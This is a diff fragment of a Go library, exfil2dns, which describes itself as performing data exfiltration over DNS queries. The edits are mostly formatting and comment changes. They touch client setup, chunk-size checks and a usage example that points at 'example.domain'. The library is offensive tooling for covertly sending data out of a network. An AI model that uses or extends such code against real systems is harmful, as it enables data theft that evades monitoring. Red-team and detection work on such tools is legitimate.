30
30
//
31
31
// func main() {
32
32
// client, err := exfil2dns.NewClient(
33
- // "cube",
34
- // "example.domain",
35
- // "ThisIsAKey1234", 23)
36
- //
33
+ // "cube",
34
+ // "example.domain",
35
+ // "ThisIsAKey1234", 23
36
+ // )
37
+ //
37
38
// if err != nil {
38
39
// log.Fatal("Error creating client: " + err.Error())
39
40
// }
47
48
package exfil2dns
48
49
49
50
/*
50
- * exfil2dns.go by Carson Seese. Created: 09/23/2019. Modified: 09/24 /2019.
51
+ * exfil2dns.go by Carson Seese. Created: 09/23/2019. Modified: 10/05 /2019.
51
52
* Data exfiltration using DNS queries.
52
53
*/
53
54
@@ -76,18 +77,17 @@ var (
76
77
MaxQueryLength = 63
77
78
)
78
79
79
-
80
80
// Client contains the parameters to required to encrypt and deliver the
81
81
// payload. Use NewClient() to initialize.
82
82
type Client struct {
83
83
target , domain , server , format string
84
- key [32 ]byte
85
- chunkSize int
84
+ key [32 ]byte
85
+ chunkSize int
86
86
}
87
87
88
88
// NewClient initializes the Client
89
89
// Target is the name of the target system. Domain is the domain to append to
90
- // the query string. Chunk size is the max number of payload bytes per message,
90
+ // the query string. Chunk size is the max number of payload bytes per message,
91
91
// must be <= 23.
92
92
func NewClient (target , domain , password string , chunkSize int ) (Client , error ) {
93
93
return NewDevClient (target , domain , password , "" , chunkSize )
@@ -99,15 +99,15 @@ func NewDevClient(target, domain, password, server string, chunkSize int) (Clien
99
99
if chunkSize > 23 {
100
100
return Client {},
101
101
fmt .Errorf (
102
- "chunk size %v larger than max chunk size of %v" ,
102
+ "chunk size %v larger than max chunk size of %v" ,
103
103
chunkSize , MaxChunk ,
104
104
)
105
105
}
106
106
107
107
encodedT := b32 .EncodeToString ([]byte (target ))
108
108
if len (encodedT ) > MaxQueryLength {
109
109
return Client {}, fmt .Errorf (
110
- "target name %v longer than max length of %d" ,
110
+ "target name %v longer than max length of %d" ,
111
111
target , MaxQueryLength ,
112
112
)
113
113
}
@@ -184,7 +184,8 @@ func (c *Client) Exfil(payload []byte) error {
184
184
return nil
185
185
}
186
186
187
- // Encode takes a chunk of data, encrypts it, and returns a query
187
+ // Encode takes a chunk of data, encrypts it, and returns a query. Chunks must
188
+ // be < MaxChunk.
188
189
func (c * Client ) Encode (chunk []byte ) (string , error ) {
189
190
if len (chunk ) > c .chunkSize {
190
191
return "" , fmt .Errorf (
0 commit comments